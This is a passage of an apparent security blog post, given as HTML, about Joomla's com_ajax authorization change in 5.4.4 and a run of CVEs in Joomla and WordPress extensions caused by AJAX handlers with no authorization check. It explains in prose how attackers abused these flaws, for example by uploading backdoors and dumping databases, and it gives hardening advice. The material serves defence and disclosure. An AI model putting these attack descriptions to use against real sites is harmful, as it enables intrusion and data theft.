&lt;span&gt;&lt;span&gt;    };&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This check runs for every code path through &lt;code&gt;com_ajax&lt;/code&gt; - module helpers, plugins, and template helpers all get the same gate. The only way through as a guest is to explicitly opt in with the PHP attribute on your method:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;#[&lt;/span&gt;&lt;span&gt;AllowUnauthorizedAdministratorAccess&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;public&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; onAjaxWebauthn&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;AjaxEvent&lt;/span&gt;&lt;span&gt; $event)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; void&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The WebAuthn (passkey) plugin gets this attribute because it legitimately needs to work before login. Everything else is blocked by default.&lt;/p&gt;
&lt;p&gt;The default flipped. Before: open to everyone unless the developer adds a check. After: blocked for guests unless the developer explicitly opts in with a PHP attribute. Extensions like Astroid and Novarain would now be blocked automatically, because their AJAX methods do not have the &lt;code&gt;AllowUnauthorizedAdministratorAccess&lt;/code&gt; attribute.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Backwards-compatibility break for Joomla extension developers&lt;/p&gt;&lt;p&gt;This fix blocks every admin AJAX handler that does not authenticate &lt;em&gt;the Joomla way&lt;/em&gt; - specifically, by having a valid admin session - whether or not it already had authentication of its own. If a developer was already performing their own authentication checks (API key validation, custom token verification, IP-based restrictions, or any other method that does not go through Joomla’s session system), their handler will now be rejected before their code even runs. The framework-level guest check fires first, and if there is no Joomla admin session, the request is denied regardless of what the handler itself would have done.&lt;/p&gt;&lt;p&gt;Developers who were doing the right thing - securing their AJAX handlers properly, just not using Joomla’s built-in session system - are now broken alongside developers who were doing nothing at all.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The only escape hatch is the &lt;code&gt;#[AllowUnauthorizedAdministratorAccess]&lt;/code&gt; attribute, which opts the method back out of the framework check entirely. But adding that attribute also removes the protection for handlers that were insecure, so developers need to be certain their own checks are solid before opting out.&lt;/p&gt;
&lt;p&gt;Extensions with legitimate pre-login needs (like WebAuthn) can opt back in with the attribute. Extensions that were unknowingly exposed (like Astroid and Novarain) get protected automatically. Extensions that had their own security but not via Joomla sessions get caught in the crossfire.&lt;/p&gt;
&lt;p&gt;Here is what makes this worse: the &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;official 5.4.4 / 6.0.4 release announcement&lt;/a&gt; does not mention this breaking change at all. The security fix is listed as “[20260301] - ACL hardening in com_ajax” with no further detail, no warning to extension developers, and no indication that existing plugins may stop working. The announcement even reassures developers that the upgrade is smooth and most extensions will work with the backwards compatibility plugin enabled.&lt;/p&gt;
&lt;p&gt;The actual documentation of this breaking change is &lt;a href=&quot;https://manual.joomla.org/migrations/54-60/known-issues/6.0.4/&quot;&gt;buried in the 6.0.4 known issues page&lt;/a&gt; on the Joomla developer manual - a page that most extension developers will never check for a point release. It acknowledges the change, notes that performing ACL checks in custom code “was considered a best practice,” and points to the WebAuthn plugin as a reference implementation for the new attribute. That is the entirety of the guidance.&lt;/p&gt;
&lt;p&gt;A security fix that changes the default behaviour of &lt;code&gt;com_ajax&lt;/code&gt; for every Joomla extension using admin AJAX handlers, that will break any plugin relying on the previous open default, shipped with a one-line entry in the release notes and was documented only in a known-issues sub-page of the migration manual. Any extension developer who updated to 5.4.4 and found their AJAX handlers returning authorization errors would have had no obvious explanation unless they stumbled onto that page.&lt;/p&gt;
&lt;p&gt;The security fix is the right call. Shipping a breaking change in a point release with no prominent warning to developers is not.&lt;/p&gt;
&lt;p&gt;It took over a decade of Joomla releases (3.0.0 through 5.4.3 and 6.0.0 through 6.0.3) for this default to be corrected. Every extension built during that time inherited the open default, and many shipped without the authentication checks that the framework should have enforced from the start.&lt;/p&gt;
&lt;h3&gt;The official Joomla docs still teach this insecure pattern&lt;/h3&gt;
&lt;p&gt;As of April 2026, the &lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/components/component-examples/ajaxdemo/&quot;&gt;Joomla developer manual’s own AJAX example component&lt;/a&gt; ships with no CSRF token check, no authentication, and no authorization in its AJAX controller. The &lt;code&gt;AjaxController::divide()&lt;/code&gt; method reads user input directly from the request and returns a response without verifying anything about the caller:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;public&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; divide&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $input &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;app&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;input;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $a &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $input&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;get&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;float&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $b &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $input&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;get&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;float&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    // ... no Session::checkToken(), no $user-&amp;gt;authorise(), no guest check&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $result &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;_divide&lt;/span&gt;&lt;span&gt;($a, $b);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    echo&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; JsonResponse&lt;/span&gt;&lt;span&gt;($result,&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;It worked!&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The JavaScript that calls this endpoint does not send a CSRF token either. Any anonymous visitor can hit &lt;code&gt;index.php?option=com_ajaxdemo&amp;amp;format=json&amp;amp;task=ajax.divide&lt;/code&gt; and the controller will happily process the request.&lt;/p&gt;
&lt;p&gt;It could be argued that this is just a simple frontend public example, and security checks would complicate the teaching. But it is called “AjaxDemo” and it does not even use &lt;code&gt;com_ajax&lt;/code&gt; - it routes through its own component controller. So the official AJAX example component does not demonstrate AJAX security &lt;em&gt;or&lt;/em&gt; &lt;code&gt;com_ajax&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This particular endpoint only divides two numbers, so the security impact is zero. But this is a &lt;em&gt;teaching example&lt;/em&gt;. Developers copy these patterns into real extensions that handle file uploads, database writes, and admin operations. If the official documentation demonstrates AJAX without any security checks, it should not be a surprise when developers ship extensions without any security checks.&lt;/p&gt;
&lt;p&gt;Would the 5.4.4 fix make this example secure? No. The &lt;code&gt;com_ajaxdemo&lt;/code&gt; example routes requests through its own component controller (&lt;code&gt;index.php?option=com_ajaxdemo&amp;amp;task=ajax.divide&lt;/code&gt;), not through &lt;code&gt;com_ajax&lt;/code&gt;. The 5.4.4 authentication check only applies to requests routed through &lt;code&gt;com_ajax&lt;/code&gt;. Components with their own controllers are completely unaffected by the fix. A developer who copies this pattern into an admin component will have an unauthenticated endpoint that no framework-level check will catch.&lt;/p&gt;
&lt;p&gt;It is not just the example component. The official documentation pages for &lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/plugins/plugin-examples/ajax-plugin/&quot;&gt;AJAX plugins&lt;/a&gt;, &lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/javascript/com-ajax/&quot;&gt;com_ajax&lt;/a&gt;, and &lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/javascript/ajax/&quot;&gt;AJAX in general&lt;/a&gt; do not mention authentication or authorization either. Nowhere in Joomla’s AJAX documentation does a developer encounter a warning that their handler needs to verify who is calling it or whether they have permission. The Astroid and Novarain developers did not invent the insecure pattern. They learned it.&lt;/p&gt;
&lt;h3&gt;How does WordPress handle this differently?&lt;/h3&gt;
&lt;p&gt;WordPress takes the opposite default. Its &lt;code&gt;admin-ajax.php&lt;/code&gt; uses a two-hook system with baked-in authentication:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wp_ajax_{action}&lt;/code&gt; only fires if the user is logged in. WordPress checks &lt;code&gt;is_user_logged_in()&lt;/code&gt; itself, before any plugin code runs.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wp_ajax_nopriv_{action}&lt;/code&gt; fires for unauthenticated users. Developers must explicitly register this hook to allow guest access.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In WordPress, a developer has to opt into unauthenticated access. In Joomla before 5.4.4, a developer had to opt into authenticated-only access by coding the check themselves. The defaults were reversed.&lt;/p&gt;
&lt;p&gt;Neither system checks authorization (does this user have &lt;em&gt;permission&lt;/em&gt; to do this specific thing?) - that is still the developer’s job on both platforms. But WordPress’s framework-level gate catches the most common mistake: forgetting authentication entirely. Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; caught nothing until 5.4.4.&lt;/p&gt;
&lt;h2&gt;Which five incidents prove the AJAX frontdoor security lax pattern?&lt;/h2&gt;
&lt;p&gt;All five were disclosed in March 2026.&lt;/p&gt;
&lt;h3&gt;Astroid Framework for Joomla (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt;, CVSS 10.0)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; is the textbook example. The AJAX endpoint in &lt;code&gt;Admin.php&lt;/code&gt; used Joomla’s &lt;code&gt;checkToken()&lt;/code&gt; to verify CSRF tokens but never checked whether the requester was actually an administrator. Attackers grabbed the token from the public login page and used it to upload backdoors and install SEO spam plugins. No login required. CVSS 10.0, the maximum possible score.&lt;/p&gt;
&lt;p&gt;The fix was a single authorization check: &lt;code&gt;$user-&amp;gt;authorise(&apos;core.manage&apos;, &apos;com_templates&apos;)&lt;/code&gt;. Standard Joomla ACL that should have been there from the start.&lt;/p&gt;
&lt;h3&gt;Novarain Framework for Joomla (CVE-2026-21627, CVSS 9.5)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain/Tassos Framework vulnerability&lt;/a&gt; went further. Fully unauthenticated, with no token, no login, and no capability check at all. Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; routed requests to the nrframework plugin, which whitelisted file inclusion as a non-admin task. Attackers could include arbitrary PHP files, delete files, and perform SQL injection through a single AJAX endpoint. Six weeks after the patch, 46.5% of affected sites in our dataset were still running vulnerable versions.&lt;/p&gt;
&lt;h3&gt;Smart Slider 3 for WordPress (CVE-2026-3098, CVSS 6.5)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 vulnerability&lt;/a&gt; targeted the WordPress side. The plugin’s export AJAX actions had a nonce for CSRF protection but no capability check. Any subscriber-level user could call the export function and download arbitrary files from the server, including &lt;code&gt;wp-config.php&lt;/code&gt; with database credentials and authentication keys. Smart Slider 3 has over 800,000 active installs, and roughly 500,000 were still running vulnerable versions at disclosure.&lt;/p&gt;
&lt;p&gt;Same pattern, different CMS. CSRF protection without authentication or authorization.&lt;/p&gt;
&lt;h3&gt;Joomla core com_ajax ACL hardening (CVE-2026-21629)&lt;/h3&gt;
&lt;p&gt;Covered in detail above. The framework routing every Joomla plugin’s AJAX requests was itself missing the default authentication check in the admin area.&lt;/p&gt;
&lt;h3&gt;Joomla webservice endpoint access bypass (CVE-2026-23899)&lt;/h3&gt;
&lt;p&gt;Joomla’s webservice API layer did not properly verify that incoming requests had the right permissions, allowing unauthorized access to restricted endpoints. Reported by &lt;a href=&quot;https://developer.joomla.org/security-centre/1032-20260306-core-improper-access-check-in-webservice-endpoints.html&quot;&gt;vnth4nhnt from CyStack&lt;/a&gt; and fixed in the same release. Different mechanism than &lt;code&gt;com_ajax&lt;/code&gt;, same category of failure: an endpoint that accepts requests it should reject.&lt;/p&gt;
&lt;h2&gt;Is this just a March 2026 problem?&lt;/h2&gt;
&lt;p&gt;No. The same AJAX authorization failure has been producing critical vulnerabilities for at least a year:&lt;/p&gt;
&lt;h3&gt;Advanced Custom Fields: Extended (CVE-2025-13486, CVSS 9.8)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/&quot;&gt;Advanced Custom Fields: Extended&lt;/a&gt; &lt;code&gt;acfe/form/render_form_ajax&lt;/code&gt; endpoint had no nonce check and no capability check. Unauthenticated visitors could invoke arbitrary PHP functions via &lt;code&gt;call_user_func_array()&lt;/code&gt;, leading to full remote code execution. Over 100,000 WordPress sites affected. Actively exploited in the wild from December 2025.&lt;/p&gt;
&lt;h3&gt;King Addons for Elementor (CVE-2025-8489, CVSS 9.8)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://thehackernews.com/2025/12/wordpress-king-addons-flaw-under-active.html&quot;&gt;King Addons for Elementor&lt;/a&gt; &lt;code&gt;king_addons_user_register&lt;/code&gt; AJAX action accepted a &lt;code&gt;user_role&lt;/code&gt; parameter from POST data without restriction and without any capability check. Any unauthenticated visitor could create an administrator account. Wordfence recorded over 48,400 blocked exploitation attempts from October 2025.&lt;/p&gt;
&lt;h3&gt;Gravity Forms (CVE-2025-12352, CVSS 9.8)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://zeropath.com/blog/gravity-forms-cve-2025-12352-summary&quot;&gt;Gravity Forms&lt;/a&gt; &lt;code&gt;copy_post_image&lt;/code&gt; AJAX function performed no file type validation and no authorization check. Unauthenticated attackers could upload PHP backdoors. This is one of the most widely-used premium WordPress form plugins.&lt;/p&gt;
&lt;h3&gt;Anti-Malware Security and Brute-Force Firewall (CVE-2025-11705, CVSS 6.5)&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/gotmls/vulnerability/anti-malware-security-and-brute-force-firewall-4-23-81-missing-authorization-to-authenticated-subscriber-arbitrary-file-read&quot;&gt;Anti-Malware Security and Brute-Force Firewall&lt;/a&gt; is a security plugin with the same vulnerability it was supposed to protect against. The scan AJAX handler had CSRF protection via a nonce but never called &lt;code&gt;current_user_can()&lt;/code&gt; to verify the user’s role. Any subscriber could obtain the nonce through the quarantine view and use it to read arbitrary files, including &lt;code&gt;wp-config.php&lt;/code&gt;. Over 100,000 installs.&lt;/p&gt;
&lt;h3&gt;HUSKY Products Filter for WooCommerce (CVE-2025-1661, CVSS 9.8)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://cvefeed.io/vuln/detail/CVE-2025-1661&quot;&gt;HUSKY Products Filter for WooCommerce&lt;/a&gt; &lt;code&gt;woof_text_search&lt;/code&gt; AJAX action was registered for unauthenticated users via &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt;. The &lt;code&gt;template&lt;/code&gt; parameter accepted user input for file inclusion with no path restriction. Unauthenticated local file inclusion leading to full remote code execution.&lt;/p&gt;
&lt;p&gt;Same blueprint every time. The March 2026 cluster just made the pattern impossible to ignore by hitting both CMS platforms in the same month.&lt;/p&gt;
&lt;p&gt;It carried on producing. In August 2026 the same shape turned up in &lt;a href=&quot;https://mysites.guru/blog/fabrik-unauthenticated-rce-calc-element/&quot;&gt;Fabrik, the application builder extension for Joomla&lt;/a&gt;, whose calc element evaluates a PHP expression by design and whose AJAX recalculation route could be reached with no login at all. That one is &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-66915/&quot;&gt;CVE-2026-66915&lt;/a&gt;, scored a maximum CVSS 10.0.&lt;/p&gt;
&lt;h2&gt;The AJAX endpoint flaws we found ourselves&lt;/h2&gt;
&lt;p&gt;Writing the March analysis convinced us the pattern was too common to be a run of bad luck, so we went looking for it on purpose, in the extensions our customers actually run. We found it repeatedly. Every flaw below was discovered by mySites.guru, reported privately to its vendor, and published only after a fix shipped.&lt;/p&gt;
&lt;p&gt;Three of them are the exact shape this post describes, a handler hanging off Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; with the authorisation check missing:&lt;/p&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;The endpoint&lt;/th&gt;&lt;th&gt;What an anonymous request could do&lt;/th&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;CVSS&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;PageBuilder CK&lt;/td&gt;&lt;td&gt;Front-end &lt;code&gt;browse.ajaxAddPicture&lt;/code&gt; task, needing only a CSRF token freely readable from the homepage, with no &lt;code&gt;authorise()&lt;/code&gt; and no extension allow-list&lt;/td&gt;&lt;td&gt;Upload &lt;code&gt;.php&lt;/code&gt; to &lt;code&gt;/images/&lt;/code&gt; and execute it&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;&lt;/td&gt;&lt;td&gt;10.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Helix3&lt;/td&gt;&lt;td&gt;&lt;code&gt;onAjaxHelix3&lt;/code&gt; handler reached through &lt;code&gt;com_ajax&lt;/code&gt;, several actions with no token &lt;strong&gt;and&lt;/strong&gt; no &lt;code&gt;authorise()&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Write and delete arbitrary files by path traversal, overwrite template params&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49049/&quot;&gt;CVE-2026-49049&lt;/a&gt;&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Quix Page Builder&lt;/td&gt;&lt;td&gt;Front-end element AJAX handler that put a request-supplied article id into a query with no integer cast, and reflected the database error back&lt;/td&gt;&lt;td&gt;Read any table in the database, including password hashes and other API secrets&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-58078/&quot;&gt;CVE-2026-58078&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.7&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The Quix flaw is the newest, &lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;disclosed today&lt;/a&gt;, and it adds a wrinkle worth noting: the endpoint reflected its own database errors back to the caller. The missing authorisation check opened the door, and the error reflection then read the contents of the room out loud. Both are fixed in Quix 6.2.1. Quix went on to fix more missing permission checks in later releases, most recently &lt;a href=&quot;https://mysites.guru/blog/quix-6-3-4-security-release/&quot;&gt;Quix 6.3.4&lt;/a&gt;, where guests could change Quix settings and read restricted pages.&lt;/p&gt;
&lt;p&gt;The same root cause keeps arriving through doorways that are not &lt;code&gt;com_ajax&lt;/code&gt; at all, which is the part we did not expect. A public front-end task, a raw-format view, a member upload form: each is a request handler an anonymous or low-privileged visitor can reach, and each failed the same way.&lt;/p&gt;



























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;Flaw&lt;/th&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;CVSS&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;SP Page Builder&lt;/td&gt;&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;&lt;/td&gt;&lt;td&gt;10.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Balbooa Forms&lt;/td&gt;&lt;td&gt;Unauthenticated upload to RCE, found as an active zero-day&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;&lt;/td&gt;&lt;td&gt;10.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RSFiles!&lt;/td&gt;&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57827/&quot;&gt;CVE-2026-57827&lt;/a&gt;&lt;/td&gt;&lt;td&gt;10.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;iCagenda&lt;/td&gt;&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48939/&quot;&gt;CVE-2026-48939&lt;/a&gt;&lt;/td&gt;&lt;td&gt;9.8&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Phoca Download&lt;/td&gt;&lt;td&gt;Authenticated member upload to RCE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57828/&quot;&gt;CVE-2026-57828&lt;/a&gt;&lt;/td&gt;&lt;td&gt;9.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;AcyMailing&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56292/&quot;&gt;CVE-2026-56292&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.7&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;DPCalendar&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection through a &lt;code&gt;format=raw&lt;/code&gt; events feed&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57831/&quot;&gt;CVE-2026-57831&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.7&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;EDocman&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57832/&quot;&gt;CVE-2026-57832&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.7&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Every one scored between 8.7 and 10.0. The full account of that run, including how the vendors responded, is in &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla security disclosures&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;“Unauthenticated SQL injection” means complete and utter database loss&lt;/h3&gt;
&lt;p&gt;That phrase appears four times in the tables above, dry enough to sound survivable. Spelled out in plain English, it means &lt;strong&gt;an anonymous stranger with no account, no password and no login can download your entire database&lt;/strong&gt;. Every user record and every password hash, Super Users included. Every customer order, every address, every private draft, every form submission, every API key an extension has stored in its parameters. Those password hashes then crack offline at the attacker’s leisure on hardware built for the job, and a cracked Super User hash is simply an admin login, with no exploit required for the second visit. On the over-privileged database users that shared hosting hands out as standard, the read often reaches every other database on the same server, so one vulnerable Joomla site can expose its neighbours. Where the database login holds the &lt;code&gt;FILE&lt;/code&gt; privilege, the same flaw writes a web shell and stops being a read at all.&lt;/p&gt;
&lt;p&gt;The part that fools people is how quiet it is. A database read changes nothing: no modified files, no new admin user, no web shell, no malware for a scanner to catch, nothing for an integrity check to flag. Your site looks perfect afterwards, because it is perfect. The attacker took a copy and left the original exactly where it was. That is also why restoring a backup answers none of it. Restoring undoes changes, and nothing changed. Once the data is copied it stays copied, and all that is left is rotating every credential in it and telling the people whose data it was. We break this down further in &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;why unauthenticated SQL injection means complete database compromise&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So when a vendor changelog says “improved input validation” and a CVE says “read-only”, read both as “an anonymous visitor could have taken everything”. A read-only injection scores lower than remote code execution on paper. In the room where you have to tell customers their data is gone, the difference stops mattering.&lt;/p&gt;
&lt;p&gt;One clarification, because credit matters in both directions. Helix Ultimate shipped a &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;2.2.7 security release&lt;/a&gt; fixing an unauthenticated &lt;code&gt;onAjaxHelixultimate&lt;/code&gt; menu write that leads to stored XSS, textbook for this post. We did not find that one. JoomShaper’s own developer wrote and shipped the fix, and we confirmed it by reading the public code difference. It belongs in the pattern, not in our column.&lt;/p&gt;
&lt;p&gt;What the run taught us is that the AJAX blind spot is not really about AJAX. It is about any request handler a developer thinks of as wiring rather than as a public door. &lt;code&gt;com_ajax&lt;/code&gt; produces these bugs reliably because it looks like internal wiring, but a front-end task or a raw view looks like internal wiring too, and gets the same treatment.&lt;/p&gt;
&lt;p&gt;The run did not stop in July. August produced &lt;a href=&quot;https://mysites.guru/blog/zoo-unauthenticated-file-upload-rce/&quot;&gt;a CVSS 10.0 unauthenticated upload in YOOtheme’s ZOO&lt;/a&gt; where the Image element decided whether a file was an image by reading the &lt;code&gt;Content-Type&lt;/code&gt; the browser sent with it, which is to say it asked the attacker and believed the answer, alongside an unauthenticated SQL injection on the same component that needed no submission form at all. The complete list, ours and everyone else’s, is in &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;the archive of every security announcement we have published&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What should extension developers be doing better?&lt;/h2&gt;
&lt;p&gt;The five March 2026 CVEs and the year of AJAX vulnerabilities before them all trace back to one habit: developers treating AJAX endpoints as internal wiring rather than public attack surface.&lt;/p&gt;
&lt;h3&gt;Always authorize, never just authenticate&lt;/h3&gt;
&lt;p&gt;A CSRF token or nonce only proves the request was not forged. It says nothing about who the user is or whether they have permission to perform the action. Every AJAX handler needs both an authentication check (is this a valid, logged-in user?) and a capability check (does this user have the right permissions?).&lt;/p&gt;
&lt;p&gt;In WordPress, that means &lt;code&gt;current_user_can(&apos;manage_options&apos;)&lt;/code&gt; (or whatever capability fits the action) before executing any logic. In Joomla, that means &lt;code&gt;$user-&amp;gt;authorise(&apos;core.manage&apos;, &apos;com_yourcomponent&apos;)&lt;/code&gt; or a more specific ACL check.&lt;/p&gt;
&lt;h3&gt;Never trust the framework to do your security for you&lt;/h3&gt;
&lt;p&gt;Until Joomla 5.4.4, &lt;code&gt;com_ajax&lt;/code&gt; in the backend did not require authentication. Even after the fix, neither Joomla nor WordPress checks authorization at the framework level. Your AJAX handler is a public endpoint. Treat it like one.&lt;/p&gt;
&lt;h3&gt;Register the minimum access level&lt;/h3&gt;
&lt;p&gt;In WordPress, only register &lt;code&gt;wp_ajax_nopriv_{action}&lt;/code&gt; if the action needs to work for unauthenticated visitors. For admin-only actions, only register &lt;code&gt;wp_ajax_{action}&lt;/code&gt;. This gives you the framework’s login check as a free first line of defence.&lt;/p&gt;
&lt;p&gt;In Joomla (post-5.4.4), the backend &lt;code&gt;com_ajax&lt;/code&gt; now requires authentication by default. But developers supporting older Joomla versions should still verify the user is logged in (e.g. checking &lt;code&gt;$app-&amp;gt;getIdentity()-&amp;gt;id&lt;/code&gt; is non-zero) as a fallback.&lt;/p&gt;
&lt;h3&gt;Validate and sanitize all input&lt;/h3&gt;
